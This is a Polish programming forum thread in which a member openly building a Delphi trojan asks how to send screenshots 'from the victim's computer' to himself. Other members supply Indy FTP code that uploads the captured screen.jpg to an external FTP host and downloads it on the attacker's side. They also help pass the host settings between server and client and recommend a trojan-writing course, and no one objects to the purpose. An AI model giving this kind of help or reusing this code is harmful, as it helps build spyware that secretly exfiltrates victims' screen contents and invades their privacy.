Przesłanie pliku

[koza]

Siemka :-D
Mam taki problem, chcialby przesłac dany plik przez sockety.
Jak przeglądam źródła trojanów to tam sa takie okna do wymiany plików, a mi chodzi o cos takiego żeby nie trzeba bylo szukac tego pliku po dysku tylko scieżka byla zapisana w kodzie. Czytalem artykul o gniazdach Adama ale nie o to mi chodzi.
Np. w serwerze
wyslij plik do clientsocket('D:mp3hipcos tam')
a w kliencie
odbierz plik od serwersocket i zapisz na dyski('C:muzacos tam')
Jak ktos znajdzie czas to niech przetłómaczy mi to na delphi

 

[s@S@n]

W artykule Adama Boducha jest wszystko dobrze i wyraźnie opisane. A tak na marginesie to lepiej użyj do tego celu protokołu ftp.

 

[lol_ek]

Originally posted by koza
Siemka :-D
Mam taki problem, chcialby przesłac dany plik przez sockety.
Jak przeglądam źródła trojanów to tam sa takie okna do wymiany plików, a mi chodzi o cos takiego żeby nie trzeba bylo szukac tego pliku po dysku tylko scieżka byla zapisana w kodzie. Czytalem artykul o gniazdach Adama ale nie o to mi chodzi.
Np. w serwerze
wyslij plik do clientsocket('D:mp3hipcos tam')
a w kliencie
odbierz plik od serwersocket i zapisz na dyski('C:muzacos tam')
Jak ktos znajdzie czas to niech przetłómaczy mi to na delphi

Co przetłumaczyc ?
Podaj konkretny problem a z pewnoscią dostaniesz konkretną odpowiedz.

 

[krs*]

Originally posted by s@S@n
A tak na marginesie to lepiej użyj do tego celu protokołu ftp.

ftp to protokul?

 

[sc0rp10n]

krs:

File Transfer Protocol

 

[krs*]

ide sie wyspac;p

 

[koza]

W trojanie ktorego tworze chcialbym dodac funkcje zrzut ekranu. Mam juz prawie wszystko gotowe (serwer robi zrzut, zapisuje obraz na dysku client otwiera na formie). Ale to dziala tylko na moim kompie nie wiem co dopisac do tej procedury robiacej zrzut ekranu(w serwerze), aby ten plik zostal przeslany z kompa ofiary do mnie.
PS:Gdybym wczoraj nie złamał sobie ręki

to bym to jeszcze lepiej opisał. :-D

 

[Chochlik]

Heh no to tak jak koledzy pisali, uzyj protokolu ftp to przesylania pliku, ja polecam FTP Sockets (Client i Serwer) z pakietu ICS, wystarczy pare linijek zeby przeslac plik...

P.S. Wspolczuje zlamanej reki, szybko wracaj do zdrowia

 

[saipix]

Jak to sklecić tak żeby było na socketach a nie pakietach INDY itp...??
Chodzi o przesył binarny, a nie znakowy....

 

[koza]

Moglibyscie mnie nakierowac na jakies ciekawe stronki związane z przesylaniem pliku przy pomocy protokolu ftp. Pisze w delphi.

 

[Guest]

http://rfc.net/search.php3?phrase=FTP

 

[koza]

Dzięki REVEN za stronke ale My english is not good :? Znalazlem na pewnej stronie takie zdanie "Często przydaje się skrypt, który przesyła jakiś plik na serwer FTP i umieszcza go na dysku zdalnym." Tylko za pełne rozwiązanie trzeba było niestety zabulic :-D Jak macie jeszcze jakies materiały dotyczące przesyłania plików przez ftp, bym był wdzięczny jak byscie mi przytoczyli linki.

 

[koza]

idFtp1.Host :='www.webpark.pl';

idFtp1.Username :='LOGIN';

idFtp1.Password :='HASŁO';

idFtp1.Connect();

idFtp1.Put('C:WINDOWSsystem32screen.jpg');

idFtp1.Disconnect;

Co się dzieje z plikiem którego przesyłam na serwer webpark??
Juz trzy razy wysyłałem ten sam plik i zawsze jest to samo, wchodze na serwer Total Commanderem i screen.jpg przyjmuje jakies dziwne nazwy:
ftpgmWerP albo ftpumDJp, i do tego plik zmienia rozszerzenie, ale nie wiem na jakie. Jak sciągne ten plik z serwera webparku spowrotem na moj dysk nie wiem czym to otworzyc.

 

[-=Eter=-]

Spróbuj tak:

idFtp1.Host :='www.webpark.pl';

idFtp1.Username :='LOGIN';

idFtp1.Password :='HASŁO';

idFtp1.Connect();

idFtp1.Put('C:WINDOWSsystem32screen.jpg', 'screen.jpg', true);

idFtp1.Disconnect;

 

[koza]

1.A jak zrobic aby można było wpisywac w cliencie swój serwer, login i hasło. Tzn zamiast tak

idFtp1.Host :='www.webpark.pl';

tak

idFtp1.Host :='edit1 w cliencie';

-------------------------------------------------------------------------------------
2.Jak pobrac (bez szelestnie) ten plik z serwera z poziomu clienta.
-------------------------------------------------------------------------------------
3.Żałuje że tak szybko zabrałem sie za pisanie trojana, pytam sie was o podstawowe rzeczy.

 

[saipix]

idFtp1.Host := Form1.Edit1.Text;

 

[Chochlik]

2. jak dobrze pamietam to pobieranie wyglada tak:

idFtp1.Host :='www.webpark.pl'; 

idFtp1.Username :='LOGIN'; 

idFtp1.Password :='HASŁO'; 

idFtp1.Connect(); 

idFtp1.Get('screen.jpg'); 

idFtp1.Disconnect;[quote][/quote]

 

[koza]

Pobieranie nie działa, jak pisze tak

idFtp1.Host :='www.webpark.pl'; 

idFtp1.Username :='mój login';

idFtp1.Password :='moje hasło';

idFtp1.Connect();

idFtp1.Get('screen.jpg');

idFtp1.Disconnect;

to błąd wyskakuj mi tu, i nie da sie skompilowac

idFtp1.Get('screen.jpg');

Takie błędy
[Error] Unit1.pas(34): There is no overloaded version of 'Get' that can be called with these arguments
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'
Zatem jak pisze tak

idFtp1.Host :='www.webpark.pl'; 

idFtp1.Username :='mój login';

idFtp1.Password :='moje hasło';

idFtp1.Connect();

idFtp1.Get('C:WINDOWSsystem32screen.jpg', 'screen.jpg', true);

idFtp1.Disconnect;

To da sie skompilowac ale po uruchomieniu aplikacji i wywołaniu procedury wyskakuj mi taki błąd C:WINDOWSsystem32screen.jpg No such file or directory.
-------------------------------------------------------------------------------------

 

[koza]

Sorry Chochlik, wszystko działa, no prawie wszystko. Saipix napisał mi

idFtp1.Host := Form1.Edit1.Text;

przy sciąganiu zadziala, ale przy wysyłaniu nie bo w tym przypadku komponent idFtp bedzie na formie serwera a edit na formie clienta. Zatem jak zrobic aby edit1 serwera = edit1 clienta?

 

[Chochlik]

Wtekstu poprzez FTP to nie najlepsyz pomsyl

sciagnij sobie z www.cc-team.org CC-zin5 tam jest maly kursik pisania trojana w Delphi poczytaj sobie go

A i tak uwazam ze powinienes zaczac od prostszych projektow i przerobienia pary kursow o delphi (polecam kursy z www.4programmers.net )